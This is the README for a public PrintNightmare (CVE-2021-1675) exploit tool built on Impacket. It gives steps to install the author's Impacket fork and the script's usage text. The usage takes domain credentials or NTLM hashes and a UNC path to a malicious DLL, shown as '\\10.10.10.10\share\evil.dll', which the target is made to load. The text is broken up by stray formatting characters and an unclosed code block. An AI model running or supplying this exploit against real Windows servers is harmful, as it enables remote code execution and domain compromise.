# CVE-2021-1675
|
||||
Impacket implemenation of CVE-2021-1675
|
||||
|
||||
Impacket implementation of the [PrintNightmare ](https://github.com/afwu/PrintNightmare) PoC originally created by Zhiniang Peng (@edwardzpeng) & Xuefeng Li (@lxf02942370)
|
||||
|
||||
Tested on a fully patched 2019 Domain Controller
|
||||
|
||||

Before running the exploit you need to install my version of Impacket and after that you're gucci
|
||||
|
||||
```
|
||||
git clone https://github.com/cube0x0/impacket
|
||||
cd impacket
|

#### CVE-2021-1675.py
|
||||
|
||||
```
|
||||
usage: CVE-2021-1675.py [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share
|
||||
|
||||
CVE-2021-1675 implementation.
|
||||
|
||||
positional arguments:
|
||||
target [[domain/]username[:password]@]<targetName or address>
|
||||
share Path to DLL. Example '\\10.10.10.10\share\evil.dll'
|
||||
|

|
||||
|
||||
connection:
|
||||
-target-ip ip address
|
||||
IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name
